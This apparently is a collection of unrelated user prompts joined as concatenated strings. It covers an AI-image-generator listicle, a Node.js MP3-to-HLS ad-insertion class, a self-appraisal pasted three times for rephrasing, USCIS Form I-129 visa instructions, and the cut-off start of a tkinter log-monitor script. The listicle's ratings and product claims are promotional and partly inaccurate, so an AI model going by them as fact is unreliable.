easy-to-use software, Nightcafe is ultimately beginner friendly. The appealing and convenient website interface allows anyone to create and enhance pictures within a single click. Moreover, every creation you make is saved permanently in your account, so you do not have to worry about separately storing it. \n\nKey Features \n\nDifferent style options \nCreate your own AI community \nEnables printing of high-quality creations\nLogo generator \nLow to the high resolution available \nStyle transfer\n5. Dall-E \nRating 4.5/5\nEase Of Use 4.3/5\nDall-E is a robust neural network that creates AI images from the simple English text. However, unlike other platforms, Dall-E is not directly open to all; to enter, you must register on the waitlist to use the platform soon. \n\nAlthough, the users eager to use the platform can experience its open version, i.e., Dall-E mini. The unique Ai technology of Dall-E mini surfs through captions present on the internet to match your words and from a precise depiction. \n\nDall-E \nThe best part about this AI image generator is you have to enter the text and click run. Dall-E mini will generate multiple options based on your text, and you can select the one you like the most. \n\nKey Features \n\nUnlimited images for free \nCombining polar concepts \nImage regeneration available \nDrawing multiple objects \n3D and visual perspective \nAnimal illustrations \n6. Pixray \nRating 4/5\nEase of Use 4.5/5\nPixray is a versatile text-to-image converter that works as an API, browser website, and PC application. Although Pixray has an elegant and straightforward interface, its inexplicable customizations and custom AI engine make it perfect for tech-savvy people. \n\nPixray \nWhile forming pictures . is a fun process with Pixray, its real potential comes in post-image creation when you head to settings. In the settings section,, you can transform your picture into different styles, convert them into video, edit them to be more creative, and maybe other available tools. \n\nKey Features\n\nPixel art generation\nGAN images \nLine-sketch images, \nFilter Images \nCustomize the quality of images \nFlexible integrations \nHigh-speed software \n7. Deep Dream Generator\nRating 3.8\nEase of Use 4.4/5\nDeep Dream Generator is known for its realistic and high-quality images. If you are looking for an AI image generator that creates pictures based on real-life Deep Dream Generator is the perfect match for you. \n\nDeep Dream Generator\nThe researchers at Google created it to provide everyone with easy and accessible image generating. So even if you do not have any experience, you can convert your words into a picture within seconds. This AI image generator’s specialty is making the photos look like they are from a different time or place. \n\nKey Features \n\nThree significant styles- Deep, Thin, and Deep Dream \nAnimal illustrations \nLandscapes and objects \nMultiple painting styles\nImage preview available \nDigital Analytics \n8. Deep AI\nRating 4.6/5\nEase of Use 4.1/5\nDeep AI is an exceptional AI image generator that aims to provide open source image creation to everyone. The Image Generator of Deep AI provides realistic images that maintain high resolution. \n\nDeep AI\nThe best part about Deep Ai is that you can create unlimited images, and none of them will match. It focuses on providing variety and diversity to its users. Moreover, you can customize the amount of detailing in every image, including textures and colors. \n\nKey Features \n\nResolution independent vector image \nStyleGAN \nBigGAN\nCartoonGAN\nImage colorization \nResponsive customer support \n9. BigSleep \nRating 4.4/5\nEase of Use 4.4/5\nBigSleep is one of the most preferred and renowned AI image generators in the market today. The reason is that BigSleep has robust software that generates life-like creations from scratch. \n\nBigSleep \nEven though BigSleep creates superior quality pictures, it has a highly easy-to-use platform that provides all the necessary features to assemble, edit and store your images safely. Moreover, BigSleep has a Python-based program that ensures the software’s speed and smooth running. \n\nKey Features \n\nGenerative adversarial network-based \nHigh-resolution image going up to 1024×1024\nDiscriminator tool \nOpen source \nDiversified image patterns \nBeginner friendly \n10. Artbreeder\nRating 4.5/5\nEase of Use 4.6/5\nArtbreeder is a unique AI image generator that uses a combination of pictures to form a single image. You can generate new, unique, and completely authentic images using the existing photos in your gallery with the help of Artbreeder.\n\nArtbreeder\nYou can get thousands of different and vivid art illustrations with a safe place to store them in your Artbreeder account. Moreover, the user interface of ArtBreed is super simple, making the website easy to navigate for beginners and professional graphic designers. \n\nKey Features \n\nDownload images in JPG or PNG\nOriginal photos in various styles and categories\nHigh resolution \nTransparent background \nBigGAN \nStyleGAN\nImage editing available \n11. Fotor AI Image Generator\nRating 4.5/5\nEase Of Use 4.4/5\nFotor is an amazing photo editing app that is used by millions all over the world. They recently launched their AI Image generator, and unlike other AI Image Generators, theirs is completely free of cost. It is also super easy to use.\n\nFotor AI Image Generator\nJust enter the text prompt in the box and hit the generate button, and watch it bring that text to life in just a few seconds. You can use Fotor’s AI Image Generator to create anime characters, realistic images, paintings, 3D images, and so on. It is the best option for beginners and advanced users alike.\n\nKey Features\n\nFind amazing prompts in their featured gallery\nGenerate up to 10 free images daily\nImage-to-image conversion model is also available\nGenerate images in just a few seconds\nNo limit on the text description\nCreate multiple images at once\nOther AI Tools:\n\nBest AI Writing Software\nBest AI Marketing Tools\nBest AI Sales Software\nWrapping Up! On Best AI Image Generator (2022)\nAn AI image generator can turn your thoughts into a digital painting with all the customization you want. However, some AI image generators are expensive, while others might not have what you are looking for. \n\nThat is why you must do your research thoroughly before investing in any AI image generator. If you have difficulty choosing a tool, go through all these features and see if it fits into your budget. Once you see that the AI image generator has everything you need, go for it. \n\nWe hope this article helped you select the best AI generator for you. Over to you, which is the best AI generator you? Let us know in the comments section below!\n\nFAQs\nWhich AI image generator is best for people with no experience in designing?\nAn AI image generator is supposed to convert your words into images. However, you know much about image formation and cannot perfectly edit your photos. In that case, you must try using Deep Dream Generator to create realistic and high-quality images. \n\nAre AI image generators a threat to existing artists?\nAlthough AI has been developing fast, the AI image generator cannot match the precision of an artist yet. \n\nWhich is the best free AI image generator?\nIf you are looking for an AI image generator to create good quality images without restrictions on features or picture quantity, Dream by Wombo is the ideal tool. \n\nAbout The Author\n\nShubham Singh\nHi there, I\'m brushing up on SEO and Affiliate Marketing. Kinda full-time dealing with websites, rankings, content, and all. On DemandSage, I\'m leading the content and SEO team.\nLeave a Comment\nYour email address will not be published. Required fields are marked \\*\nType here..\nType here..\nName\\*\nName\\*\nEmail\\*\nEmail\\*\nWebsite\nWebsite\n Save my name, email, and website in this browser for the next time I comment.\n\nScroll to Top" what is the list of 11 AI image generators and in one sentence what are they best at?' +'const url = require(\'url\')\nconst ffmpeg = require(\'fluent-ffmpeg\')\nconst icy = require(\'icy\')\nconst fs = require(\'fs\')\nconst { promisify } = require(\'util\')\n// eslint-disable-next-line n/no-deprecated-api\nconst existsAsync = promisify(fs.exists)\nconst path = require(\'path\')\n\nconst { createStream, sleep } = require(\'./utils\')\nconst log = require(\'./logger\')\n\n/\\*\\*\n \\* Converting a input audio-stream into another format.\n \\* E.g. MP3 into HLS\n \\*/\nclass AudioConverter {\n /\\*\\*\n \\* AudioConverter constructor\n \\*\n \\* @param {object} config\n \\* @param {string} config.sourceStreamUrl - URL of the source stream\n \\* @param {string} config.sourceStreamOffset - time in ms to delay the stream to insert ads later than signaled\n \\* @param {string} config.adBreakKeyword - If this string is detected in the metadata ad start is considered\n \\* @param {string} config.adBreakDurationRegex - Regex to parse the duration of the ad-break\n \\* @param {string} config.authHeader - Authorization header to request the source stream\n \\* @param {string} config.icyMetadata - 1 to enable metadata/ 0 to diable metadata (Default: 0)\n \\* @param {string} config.icyMetaInt - Interval in bits between the mp3-stream metadata blocks (Default: 16000)\n \\*/\n constructor ({\n sourceStreamUrl,\n sourceStreamOffset = 0,\n adBreakKeyword = \'WERBUNG\',\n adBreakDurationRegex,\n authHeader,\n icyMetadata = 1,\n icyMetaInt = 16000,\n interval,\n hlsSegmentLength = 5\n }) {\n this.sourceStreamUrl = sourceStreamUrl\n this.sourceStreamOffset = Number(sourceStreamOffset)\n this.adBreakKeyword = adBreakKeyword\n this.adBreakDurationRegex = adBreakDurationRegex\n this.authHeader = authHeader\n this.icyMetadata = icyMetadata\n this.icyMetaInt = icyMetaInt\n this.interval = Number(interval)\n this.hlsSegmentLength = Number(hlsSegmentLength)\n\n this.channels = [\n createStream(),\n createStream()\n ]\n this.streamRunning = 0\n this.ffmpegInstances = []\n this.adStartMediaSequenceNumber = 0\n this.durationOfNextAdBreak = null\n this.insideAdBreak = false\n this.initialState = true\n this.bootWaitCycles = 0\n }\n\n /\\*\\*\n \\* Initialisation of convertion process\n \\*/\n async init () {\n try {\n this.startScan(0)\n await this.waitUntilConverterIsRunning()\n } catch (e) {\n e.message = \'Cannot initalize scanning process: \' + e.message\n throw e\n }\n }\n\n /\\*\\*\n \\* Wait until the first HLS files arrive as convertion result\n \\* This is the prerequisite to start the web-server\n \\*/\n async waitUntilConverterIsRunning () {\n try {\n const master = await existsAsync(path.join(\\_\\_dirname, \'../out/master.m3u8\'))\n const playlist = await existsAsync(path.join(\\_\\_dirname, \'../out/playlist.m3u8\'))\n if (!master || !playlist) throw new Error(\'No playlist or master manifest available\')\n } catch (e) {\n if (this.bootWaitCycles > 60) throw new Error(\'Cannot start converter. After 60 Seconds still no output is generated: \' + e.message)\n this.bootWaitCycles++\n log.debug(\'Transcoding process not yet running. Retry in 1 sec. (boot wait cycle: \' + this.bootWaitCycles + \')\')\n await sleep(1000)\n await this.waitUntilConverterIsRunning()\n }\n }\n\n /\\*\\*\n \\* Constantly check if the source stream plays content or ads\n \\*/\n startScan (channel = 0) {\n log.info(\'Start Scanning Source Stream: \' + this.sourceStreamUrl)\n\n try {\n // eslint-disable-next-line n/no-deprecated-api\n const requestOptions = url.parse(this.sourceStreamUrl)\n requestOptions.headers = {\n \'Icy-MetaData\': this.icyMetadata && String(this.icyMetadata),\n \'Icy-MetaInt\': this.icyMetaInt && String(this.icyMetaInt)\n }\n if (this.authHeader) requestOptions.headers.Authorization = this.authHeader\n\n icy.get(requestOptions, this.sourceStreamProcessing.bind(this))\n } catch (e) {\n e.message = \'Cannot scan source stream: \' + e.message\n throw e\n }\n }\n\n /\\*\\*\n \\* Process the source stream response\n \\*\n \\* @param {object} response\n \\*/\n sourceStreamProcessing (response) {\n log.info(\'Start stream\')\n log.debug(\'Source Stream Response: \\n Status: \' + response.res.statusCode + \' \' + response.res.statusMessage + \'\\n Headers: \' + JSON.stringify(response.res.headers) + \'\\n \')\n\n if (this.interval) {\n // If we automatically insert every X seconds we do not need to parse the metadata\n response.on(\'metadata\', () => { })\n setInterval(() => {\n if (!this.insideAdBreak) {\n this.durationOfNextAdBreak = this.interval\n this.insideAdBreak = true\n } else {\n this.insideAdBreak = false\n }\n this.switchStream()\n }, this.interval \\* 1000)\n } else response.on(\'metadata\', this.parseMetadata.bind(this))\n\n response.on(\'data\', this.processData.bind(this))\n response.on(\'error\', this.handleError.bind(this))\n\n this.initFfmpeg.bind(this)()\n }\n\n /\\*\\*\n \\* Parse the stream metadata\n \\*\n \\* @param {Buffer} metadata\n \\*/\n parseMetadata (metadata) {\n try {\n const parsed = icy.parse(metadata)\n console.log(parsed)\n const streamName = parsed.StreamTitle\n console.log(streamName)\n log.info(\'Got (initial or changed) Source Stream Metadata: \' + JSON.stringify(parsed))\n\n if (streamName.includes(this.adBreakKeyword)) {\n log.info(\'Detected Ad-Marker\')\n const duration = this.parseDuration(streamName)\n log.info(\'Detected Ad-Break Duration: \' + duration)\n this.durationOfNextAdBreak = duration\n this.insideAdBreak = true\n this.switchStream()\n } else {\n this.insideAdBreak = false\n if (this.initialState) this.initialState = false\n else this.switchStream()\n }\n } catch (e) {\n e.message = \'Cannot parse metadata: \' + e.message\n console.error(e)\n }\n }\n\n /\\*\\*\n \\* Parse the ad-break duration from the source stream metadata\n \\*\n \\* @param {string} input - Metadata String to parse\n \\* @returns {number} duration - duration in seconds\n \\*/\n parseDuration (input) {\n try {\n const regexString = this.adBreakDurationRegex\n const regex = new RegExp(regexString || /(\\d\\*(?:\\.\\d+)?)$/, \'g\')\n const parsingResult = regex.exec(input)\n const duration = Number(parsingResult && parsingResult[0])\n if (!duration) throw new Error(\'Cannot extract duration from input. Please check your regex. (Input "\' + input + \'", "\' + regex + \'", Parsing Result: "\' + JSON.stringify(parsingResult) + \'")\')\n return duration\n } catch (e) {\n e.message = \'Cannot parse duration: \' + e.message\n throw e\n }\n }\n\n /\\*\\*\n \\* Method to process stream data - in this case forwarding to the one or th other duplex stream\n \\*\n \\* @param {Buffer} chunk\n \\*/\n processData (chunk) {\n this.channels[this.streamRunning].push(chunk)\n }\n\n /\\*\\*\n \\* Method to handle source stream parsing issues\n \\*\n \\* @param {object} error - JS error object\n \\*/\n handleError (error) {\n log.error(error)\n }\n\n /\\*\\*\n \\* Initialize the convertion FFMPEG process\n \\*/\n initFfmpeg () {\n this.ffmpegInstances[0] = this.convertMp3ToHls({ stream: this.channels[0], channel: 0 })\n this.ffmpegInstances[0].run()\n }\n\n /\\*\\*\n \\* Switch to another duplex channel to start another ffmpeg instance\n \\*\n \\* @description\n \\*\n \\* This switch leads to FFMPEG cropping of the hls data at the current position.\n \\* That way it is possible to crop the HLS segments at the exact position where ads are inserted.\n \\* The next instance of FFMPEG will pick up the state and insert a DISCONTINITY tag.\n \\* We can use the tag later in the processing to insert SCTE-35 Marker.\n \\*/\n async switchStream () {\n try {\n await sleep(this.sourceStreamOffset)\n\n log.info(\'End Stream: \' + this.streamRunning)\n // Stop the current stream\n this.channels[this.streamRunning].push(null)\n\n // Switch to the other stream\n this.streamRunning = (this.streamRunning + 1) % 2\n this.channels[this.streamRunning] = createStream()\n\n // Initialize a new ffmpeg instance for the new stream\n this.ffmpegInstances[this.streamRunning] = this.convertMp3ToHls({ stream: this.channels[this.streamRunning], channel: this.streamRunning })\n this.ffmpegInstances[this.streamRunning].run()\n this.adStartMediaSequenceNumber++\n\n log.info(\'Stream running: \' + this.streamRunning)\n } catch (e) {\n e.message = \'Cannot switch streams: \' + e.message\n log.error(e)\n }\n }\n\n /\\*\\*\n \\* Start an FFMPEG process to convert Mp3 to HLS.\n \\*\n \\* @param {Duplex} stream - stream to use for ffmpeg processing\n \\* @param {number} channel - currently used channel\n \\*/\n convertMp3ToHls ({ stream, channel }) {\n const instance = ffmpeg(stream)\n .noVideo()\n .audioCodec(\'aac\')\n .audioBitrate(\'256k\')\n .format(\'hls\')\n .outputOptions([\n \'-hls\\_time \' + this.hlsSegmentLength, // Segment length\n \'-hls\\_segment\\_type mpegts\',\n \'-hls\\_segment\\_filename out/file-%01d.ts\',\n \'-hls\\_list\\_size 30\', // Window\n \'-hls\\_flags append\\_list+omit\\_endlist+delete\\_segments\',\n \'-master\\_pl\\_name master.m3u8\'\n ])\n .output(\'out/playlist.m3u8\')\n .on(\'end\', function () {\n log.debug(\'FFMPEG: Done processing input stream\')\n })\n .on(\'error\', function (err) {\n log.error(\'FFMPEG: An error happened on channel[\' + channel + \']: \' + err.message)\n })\n .on(\'progress\', function (str) {\n log.debug(\'FFMPEG: Transcoding Channel[\' + channel + \']: Progress: \' + JSON.stringify(str.timemark))\n })\n\n return instance\n }\n}\n\nmodule.exports = AudioConverter\nHere the stream is read. But the streamtitle is undefined, why?' +"rephrase the below items\nStarting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I Starting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I Starting from mid-March of 2022, I have worked on 97 tasks which include new tasks, sub-tasks, and improvements. I\nhave always completed all the issues assigned to me on-or-before the date of sprint completion.\nApart from working on tasks created for me, I also got an opportunity to manage developments for the desktop testing\nframework side of things. For this, I rather took a different approach of having tasks split down into smaller niche tasks\nusing GitHub projects to track each and every part of the development which can directly be linked to the smallest piece of\ncode\nWith Desktop testing, I was and am very proactive from start with the inclusion of actions and design patterns for a desktop\ntesting framework which is quite unheard of as it hasn't been worked up aggressively in the past. I have learned a lot about\nmanaging and running a small team by working with Nishant and helping him from time to time. At the start, I aided\nNishan't journey into product development by writing skeletons code or pseudocode for designing the framework, and later\non, he started getting the hang of it and has nearly become an individual contributor\nApart from maintaining sprint sanity and managing development for desktop testing framework, I have been part of\nsessions to train the freshers to familiarise them with the concepts of AI and Machine Learning on multiple occasions. To\nease and aid the learning process created multiple notebooks and interactive examples which will help them easily\nunderstand the concepts of Python and basic machine learning. \nI have always tried to be accommodating in building and fine-tuning models based on the platform's requirements. \nFor example, in the case of AutoSelect/Suggest features; a new collection of API actions were added, and to keep\nthe model up to date with all the actions available on the platform I generated thousands of examples for each\naction using libraries like Faker and Falso\nIn the Insights and Analytics service, the design is developed in such a way that it can be directly integrated via the\nQyrus Dashboard, so the user doesn't require logging in to access it one more time. We can carry the same user\nsession from the Qyrus Dashboard to the Insights and Analytics service. This improves the user experience\nThere are more such cases in which features were enhanced to aid the user experience, one of those is a visually\nenhanced report template to show execution reports to the user that are pleasing to the eye. The same report\ntemplate is being used for the time being for Desktop Testing as well.\nTo improve the usability of the AutoSelect/Suggest feature a socket implementation was developed to provide\nusers with quick action selection feedback while they are typing\nThe device status component in the slack integration was updated to a list of selection options so organizations with tens\nor hundreds of devices can easily get the status and information about the selected device. This was one of the proactive\nmeasures to enhance the user experience\nApart from proactive modification of components for enhanced user experience, I have also taken some highly clairvoyant\nmeasures to keep the systems cost-effective and scaleable by shifting to an event-driven architecture/process from a\nmicroservice-based architecture. \nI have also worked with the freshers and have provided them with sessions for understanding Natural Language\nprocessing and data creation tasks. I have guided them a lot when it comes to data creation and generation for language\ntasks. \nI am a learner and a doer at the same time, I constantly learn and implement new skills related to software development\nand engineering, training models, and even cloud and deployment. I like to put these skills into practice and hence, I always try and take the end-to-end development and deployment responsibilities of new services or features" +'Additional Information Regarding H-2A and H-2B Petitions\nNaming Beneficiaries\nGenerally, you may request unnamed workers as beneficiaries of an H-2A or H-2B petition. You may also request some\nnamed and some unnamed workers, as long as you are requesting the same action for each worker. However, the total\nnumber of workers you request on the petition must not exceed the number of workers approved by the Department of\nLabor or Guam Department of Labor, if required, on the temporary labor certification.\nWorkers must be named if you request workers who:\n1. Are currently in the United States;\n2. Are nationals of countries that are not on the eligible countries list (see link and information below); or\n3. Must meet minimum job requirements described on the temporary labor certification.\nEligible Countries List\nH-2A and H-2B petitions may generally only be approved for nationals of countries that the Secretary of Homeland\nSecurity has designated, with the concurrence of the Secretary of State, as eligible to participate in the H-2 program. The\ncurrent list of eligible countries is located at www.uscis.gov/h-2a and www.uscis.gov/h-2b.\nNationals of countries that are not eligible to participate in the H-2 program may still be named as beneficiaries on an\nH-2A or H-2B petition. To do so, you must:\n1. Name each beneficiary who is not from an eligible country; and\n2. Provide evidence to show that it is in the U.S. interest for the alien to be the beneficiary of such a petition.\nUSCIS’ determination of what constitutes U.S. interest takes into account certain factors, including but not limited to:\n1. Evidence demonstrating that a worker with the required skills is not available from among foreign workers from a\ncountry currently on the eligible countries list;\nNOTE: Also, for H-2A petitions only, the petitioner must submit evidence demonstrating that a U.S. worker with the\nrequired skills is not available.\n2. Evidence that the beneficiary has been admitted to the United States previously in H-2A or H-2B status;\n3. The potential for abuse, fraud, or other harm to the integrity of the H-2A or H-2B visa program through the potential\nadmission of a beneficiary from a country not currently on the eligible countries list; and\n4. Such other factors as may serve the U.S. interest.\nProhibited Fees\nAs a condition of approval of an H-2A or H-2B petition, no job placement fee or other compensation (either direct or\nindirect) may be collected at any time from a beneficiary of an H-2A or H-2B petition. This includes collection by a\npetitioner, agent, facilitator, recruiter, or similar employment service, as a condition of employment, whether before or\nafter the filing or approval of a petition. Unless the payment of such fees by a worker is prohibited under law, the only\nexceptions to this are:\n1. The lower of the actual cost or fair market value of transportation to the offered employment; and\n2. Any government-mandated passport, visa, or inspection fees.\nIf USCIS determines any of the following have occurred, the petition will be denied or revoked. The only exceptions to a\nmandatory denial or revocation are found at 8 CFR 214.2(h)(5)(xi)(A)(4) and 8 CFR 214.2(h)(6)(i)(B)(4):\n1. You collected, or entered into an agreement to collect, prohibited fees as described above;\n2. You knew, or should have known, at the time of filing the petition that the beneficiary paid, or agreed to pay, any\nagent, facilitator, recruiter, or similar employment service as a condition of employment;\n3. The beneficiary paid you prohibited fees or compensation as a condition of employment after the petition was filed; or\n4. You knew, or had reason to know, that the beneficiary paid, or agreed to pay, the agent, facilitator, recruiter, or similar\nemployment service prohibited fees after the petition was filed.\nForm I-129 Instructions 11/02/22 Page 15 of 30\nThe petition should be filed with evidence that indicates the beneficiaries have not paid, and will not pay, prohibited fees\nto the best of your knowledge.\nInterrupted Stays\nInterrupted stays are certain periods of time that a worker spends outside the United States during an authorized period\nof stay in H-2A or H-2B status. An interrupted stay does not count toward the worker’s maximum 3-year limit in the\nclassification.\nAn H-2A or H-2B worker may qualify for an interrupted stay under the following conditions:\nIf the worker was in the United States in H-2 status\nfor an aggregate period of:\nThen H-2 time is interrupted if he or she is outside\nthe United States for:\n18 months or less At least 45 days, but less than 3 months\nMore than 18 months, but less than 3 years At least 2 months\nTime in H-2A or H-2B status is not automatically interrupted if the worker departs the United States. It is considered\ninterrupted only if the guidelines in the above chart are met. For more on interrupted stays, see www.uscis.gov.\nNotification Requirements\nBy filing an H-2A or H-2B petition, you agree to notify USCIS within 2 work days if an H-2A or H-2B worker:\n1. Fails to report to work within 5 workdays after the employment start date stated on the petition or within 5 workdays\nafter the start date as established by the H-2A employer, whichever is later;\n2. Completes the labor or services more than 30 days earlier than the employment end date stated on the petition;\n3. Absconds from the worksite; or\n4. Is terminated prior to the completion of the services or labor.\nFailure to comply with this agreement may result in penalties. See www.uscis.gov for more information.\nFiling Multiple Petitions\nYou generally may file one petition to request all of your H-2A or H-2B workers associated with one temporary labor\ncertification. In cases where filing a separate petition is not required, it may be advantageous to file more than one H-2A\nor H-2B petition instead. This can occur when you petition for multiple workers, some of whom may not qualify for part\nor all of the validity period you request. This most frequently occurs when:\n1. Some of the workers you request are not nationals of a country on the eligible countries list;\n2. You request interrupted stays for workers; or\n3. At least one worker is nearing the 3-year maximum stay limit.\nIf we request additional evidence because of these situations, it may delay petition processing. Filing separate petitions\nfor workers who are not affected by these scenarios may enable you to quickly obtain some workers, if they are otherwise\neligible, in the event that the petition for your other workers is delayed.\nIf you decide to file more than one petition with the same temporary labor certification, you may do so if:\n1. One petition is accompanied by the original temporary labor certification;\n2. The total number of beneficiaries on your petitions does not exceed the total number of workers approved by the U.S.\nDepartment of Labor on the temporary labor certification; and\n3. The other petitions are accompanied by copies of the same temporary labor certification, along with an attachment\nexplaining why the original was not submitted.\nH-3 Nonimmigrants (Two Types)\nThe H-3 classification is for aliens coming to the United States temporarily to participate in a special education\nexchange visitor program in the education of children with physical, mental, or emotional disabilities.\nForm I-129 Instructions 11/02/22 Page 16 of 30\nWrite H-3 in the classification block.\nAny custodial care of the children must be incidental to the training program. The petition must be filed by a U.S.\nemployer, which must be a facility which has professionally trained staff and a structured program for providing education\nto children with disabilities and training and hands-on experience to participants in the special education exchange visitor\nprogram. The petition must be filed with:\n1. A description of the training, staff, and facilities; evidence that the program meets the above conditions; and details of\nthe beneficiary’s participation in the program; and\n2. Evidence showing that the beneficiary is nearing completion of a baccalaureate degree in special education, or already\nholds such a degree, or has extensive prior training and experience in teaching children with physical, mental, or\nemotional disabilities.\nThe H-3 classification is also for aliens coming to the United States temporarily to receive training from an\nemployer in any field other than graduate medical education or training.\nWrite H-3 in the classification block.\nThe petition must be filed with:\n1. A detailed description of the structured training program, including the number of classroom hours per week and the\nnumber of hours of on-the-job training per week;\n2. A summary of the prior training and experience of each beneficiary in the petition; and\n3. An explanation stating why the training is required, whether similar training is available in the beneficiary’s country,\nhow the training will benefit the beneficiary in pursuing a career abroad, the source of any remuneration the trainee\nwill receive and any benefit the petitioner will obtain by providing the training.\nL-1 Nonimmigrants (Two Types)\nThe L-1A classification is for aliens coming to the United States temporarily to perform services in a managerial\nor executive capacity for the same employer (or for the parent, branch, subsidiary, or affiliate of the employer) that\nemployed the alien abroad in a capacity that was managerial or executive in nature, or one that required specialized\nknowledge, for at least 1 continuous year within the last 3 years. In the case of an L-1A beneficiary who is coming to\nthe United States to set up a new office, the 1 year of experience abroad must have been in an executive or managerial\ncapacity.\nWrite L-1A in the classification block.\nEither a U.S. employer or foreign employer may file the petition, but the foreign employer must have a legal business\nentity in the United States.\nThe L-1B classification is for aliens coming to the United States temporarily to perform services that require\nspecialized knowledge for the same employer (or for the parent, branch, subsidiary, or affiliate of the employer) that\nemployed the alien abroad in a capacity that was managerial or executive in nature, or one that required specialized\nknowledge for at least 1 continuous year within the last 3 years.\\*\\*\\* Specialized knowledge is either: (a) special\nknowledge of the petitioning employer’s product, service research, equipment, techniques, management, or other\ninterests and its application in international markets or (b) an advanced level of knowledge or expertise in the employing\norganization’s processes or procedures.\n\\*\\*\\* In the case of blanket petitions, the L-1B must be a specialized knowledge professional. There is no requirement,\nhowever, that the person have acted in a “professional capacity” while abroad for purposes of meeting the one-year\nrequirement.\nWrite L-1B in the classification block.\nGeneral L Classification Requirements\nEither a U.S. or foreign employer may file the petition.\nThe petition must be filed with: 1. Evidence establishing the existence of the qualifying relationship between the U.S. and foreign employer based on\nownership and control, such as: an annual report, articles of incorporation, financial statements, or copies of stock\ncertificates. Note: Whether such evidence will be sufficient to meet the petitioner’s burden of establishing such a\nqualifying relationship will depend on the quality and probative value of the evidence submitted.\n2. Evidence of the beneficiary’s employment for the required one year abroad in, as applicable, a managerial, executive,\nor specialized knowledge capacity. Such evidence may include, but is not limited to, a letter from the beneficiary’s\nforeign qualifying employer detailing his or her dates of employment, job duties, and qualifications, along with\nsupporting documentary evidence; and\n3. A description of the proposed job duties and qualifications, and evidence showing that the proposed employment is in\nan executive, managerial, or specialized knowledge capacity.' +'that seems perfect, can you apply that to this:\n\nimport tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import filedialog\nimport datetime\nimport os\nimport time\n\npaths = [r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-alumni\\shopify-monitor.log",\n r"C:\\Users\\george\\Desktop\\sneakermonitors\\Sneaker-Monitors-master\\Sneaker-Monitors-master-atmos\\shopify-monitor.log",\n 